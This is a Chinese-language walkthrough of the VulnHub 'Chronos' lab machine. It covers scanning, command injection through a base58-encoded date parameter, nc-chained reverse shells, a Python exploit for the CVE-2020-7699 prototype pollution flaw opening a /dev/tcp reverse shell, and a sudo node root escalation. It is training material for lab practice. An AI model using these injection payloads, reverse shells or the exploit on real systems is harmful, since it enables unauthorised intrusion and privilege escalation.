VulnHub靶機-Chronos | 紅隊打靶
實戰打靶系列第 03 篇文章
靶機地址:
https://www.vulnhub.com/entry/chronos-1,735/
一、主機發現
使用netdiscover工具來進行主機發現(建議只用這款工具的時候,子網掩碼比實際的少8位,這樣的速度會更快)
netdiscover -r 192.168.56.0/16

靶機的ip:192.168.56.105kali的ip:192.168.56.103
二、對靶機進一步的探測
1、對靶機進行操作系統、開放端口、運行的服務進行探測
nmap -sT -O -sV -p- 192.168.56.105

可以看到22端口開放的是ssh服務,版本是openssh 7.6p1;80端口跑的是apache的一個http服務;8080端口跑的是使用node.js的Express框架搭建的http服務。
操作系統判斷是Linux4.15-5.6
2、使用瀏覽器對80和8080端口進行訪問以及進一步探測
訪問80端口,顯示一個Chronos - Date & Time

訪問8080端口,顯示無法連接
那么先對80端口進行目錄爆破,看有沒有可以利用的目錄或者文件
gobuster dir -u http://192.168.56.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

沒有發現一些有用的目錄或者文件
在80端口頁面使用ctrl+u快捷鍵查看80端口的源碼

這是一個html的代碼,但是在代碼的底部發現一段特殊的js代碼

粘貼到編輯器

這段代碼,很多都被加密,但是有一段很是吸引人,并且沒有被加密,但是它的參數數據被加密
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
分析一下這段代碼,去給chronos.local的8000端口發送一段請求,chronos.local好像是在說靶機本地的8000端口,結合前面的端口發現(還有8000端口無法連接),會不會需要去訪問這個域名才能去訪問8000端口;所以,去修改kali的host文件,將靶機的這個域名指向靶機8000端口
vim /etc/hosts

重新訪問80端口(因為這段代碼是在80端口的源代碼中)

發現頁面出現當前的時間
3、使用Burp Suite去抓取80端口的數據包,進行分析頁面變化的原因
在歷史記錄里面,看到一個get請求,請求的數據包含剛才分析的代碼數據

使用到在線的一款工具:cyberchef;去分析發送請求的數據(像base64),使用到cyberchef的一個magic模塊

分析出這個數據是一個base58,并且解碼成'+Today is %A, %B %d, %Y %H:%M:%S.'
看到這個解碼的信息,很像是linux的date命令
在自己的kali上進行測試,date '+Today is %A, %B %d, %Y %H:%M:%S.'

發現和80端口的返回信息一樣
在Burp Suite上進一步驗證,將剛才的數據包的參數信息修改,重新發送,服務端沒有任何返回

那么可以知道80端口的頁面變化信息是由format后面的數據結合服務段的date命令進行返回的
三、獲取初始shell
結合上面的信息收集和進一步的探測,可以利用format后面的參數來嘗試反彈shell
linux里由很多類似管道符的符號,比如&,||,&,&&等等

1、利用&&的作用,先用Burp Suite發包去探測是否可以使用
因為剛才的代碼中,format后面的數據是base58加密,那么可以確定服務端會對format后面的數據進行base58解密,所以要對要傳入的數據進行base58加密
&& cat /etc/passwd,加密2amsWhMPZo2e6rNkDbzeRBaZH,通過Burp Suite發包

返回/etc/passwd的數據

&& cd /bin && ls -la,加密(后續默認都已加密發送),發包

發現有bash,也有nc
&&which nc,判斷nc是否可以使用,返回Something went wrong,可能對format參數有判斷或者過濾

&& nc 192.168.56.103 4444,嘗試去連接一下kali(如果發包沒有返回,可以嘗試去重啟靶機)

靶機連接到我的kali,證明沒有進行過濾處理,只是進行驗證而已
那么嘗試去反彈shell
&& nc 192.168.56.103 4444 -e /bin/bash

沒有反彈shell,那么nc的版本可能過久,沒有-e參數
使用nc串聯去反彈shell
&& nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555 成功反彈shell,獲取到初始shell

四、提權
1、第一次提權(imera)
sudo -l沒有權限訪問
cat /etc/crontab查看定時任務

發現有定時任務,但是這個定時任務的目錄下,發現有文件,但是沒有權限

當前的目錄為/opt/chronos,ls發現有一個package.json,查看一下,這是node.js的引用庫

同樣來到/opt/chronos-v2,發現有backend目錄,進去發現也和/opt/chronos一樣的文件,但是多了一個server.js,查看package.json和server.js

發現server.js是一個只允許靶機本地訪問的服務,開放在本地的8080端口,是用來文件上傳的服務

而package.json中多了一個模塊,express-fileupload

通過百度等搜索引擎,發現node.js有一個“原型污染“的漏洞,漏洞編號CVE-2020-7699,而這個漏洞的要求是”parseNested”特征為ture,靶機剛好滿足這個要求,那么尋找exp

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command
requests.get('http://127.0.0.1:8080')
將代碼上傳到靶機(shell.py)

python3 shell.py執行(kali開啟監聽),提權成功,

2、第二次提權(root)
輸入sudo -l,有可以不用root密碼就可以執行的文件

那么通過node來進行提權(sudo濫用的文件可以通過搜索引擎去找到相應提權的技巧)
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
提升為root權限并且拿到第二個flag

參考資料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0